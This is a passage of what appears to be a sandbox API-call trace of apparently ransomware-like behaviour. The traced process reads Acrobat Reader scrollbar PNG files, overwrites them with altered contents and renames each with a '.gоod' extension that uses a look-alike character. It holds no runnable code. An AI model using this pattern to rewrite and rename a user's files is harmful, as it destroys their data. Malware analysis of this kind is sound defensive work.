lpOldMode=0x1fdeb9f0) returned 1 [0171.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x623618c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0171.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0171.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png.gоod")) returned 1 [0171.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", lpFilePart=0x0) returned 0x75 [0171.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0171.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png"), fInfoLevelId=0x0, lpFileInformation=0x34fcba8 | out: lpFileInformation=0x34fcba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128)) returned 1 [0171.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0171.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", lpFilePart=0x0) returned 0x75 [0171.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0171.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.132] GetFileType (hFile=0x640) returned 0x1 [0171.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0171.132] GetFileType (hFile=0x640) returned 0x1 [0171.132] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x128 [0171.132] ReadFile (in: hFile=0x640, lpBuffer=0x34fd038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x34fd038*, lpNumberOfBytesRead=0x1fdeb9b8*=0x128, lpOverlapped=0x0) returned 1 [0171.239] CloseHandle (hObject=0x640) returned 1 [0171.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", lpFilePart=0x0) returned 0x75 [0171.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0171.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.647] GetFileType (hFile=0x810) returned 0x1 [0171.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0171.647] GetFileType (hFile=0x810) returned 0x1 [0171.647] WriteFile (in: hFile=0x810, lpBuffer=0x338e5d8*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x338e5d8*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x130, lpOverlapped=0x0) returned 1 [0171.648] CloseHandle (hObject=0x810) returned 1 [0171.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png", lpFilePart=0x0) returned 0x75 [0171.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png.gоod", lpFilePart=0x0) returned 0x7a [0171.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0171.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x628728be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0171.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0171.649] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png.gоod")) returned 1 [0171.649] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0171.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0171.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x338f988 | out: lpFileInformation=0x338f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107)) returned 1 [0171.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0171.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0171.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0171.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.650] GetFileType (hFile=0x810) returned 0x1 [0171.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0171.650] GetFileType (hFile=0x810) returned 0x1 [0171.650] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x107 [0171.650] ReadFile (in: hFile=0x810, lpBuffer=0x338fe18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x338fe18*, lpNumberOfBytesRead=0x1fdeb9b8*=0x107, lpOverlapped=0x0) returned 1 [0171.651] CloseHandle (hObject=0x810) returned 1 [0172.326] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0172.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0172.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.327] GetFileType (hFile=0x640) returned 0x1 [0172.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0172.327] GetFileType (hFile=0x640) returned 0x1 [0172.327] WriteFile (in: hFile=0x640, lpBuffer=0x33c8ed0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x33c8ed0*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x110, lpOverlapped=0x0) returned 1 [0172.328] CloseHandle (hObject=0x640) returned 1 [0172.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0172.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png.gоod", lpFilePart=0x0) returned 0x7f [0172.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0172.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x62edae23, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0172.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0172.328] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png.gоod")) returned 1 [0172.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0172.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0172.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x33ca298 | out: lpFileInformation=0x33ca298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114)) returned 1 [0172.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0172.330] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0172.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0172.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.330] GetFileType (hFile=0x640) returned 0x1 [0172.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0172.330] GetFileType (hFile=0x640) returned 0x1 [0172.330] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x114 [0172.330] ReadFile (in: hFile=0x640, lpBuffer=0x33ca828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x33ca828*, lpNumberOfBytesRead=0x1fdeb9b8*=0x114, lpOverlapped=0x0) returned 1 [0172.331] CloseHandle (hObject=0x640) returned 1 [0173.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0173.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0173.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.487] GetFileType (hFile=0x580) returned 0x1 [0173.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0173.487] GetFileType (hFile=0x580) returned 0x1 [0173.487] WriteFile (in: hFile=0x580, lpBuffer=0x34220d0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x34220d0*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x120, lpOverlapped=0x0) returned 1 [0173.488] CloseHandle (hObject=0x580) returned 1 [0173.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png", lpFilePart=0x0) returned 0x7a [0173.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png.gоod", lpFilePart=0x0) returned 0x7f [0173.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0173.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x639e1bbf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0173.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0173.488] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png.gоod")) returned 1 [0173.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0173.489] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes", lpFilePart=0x0) returned 0x6f [0173.489] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.490] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.490] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0173.490] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0173.490] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0173.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0173.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0173.490] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes", lpFilePart=0x0) returned 0x6f [0173.490] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.491] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, 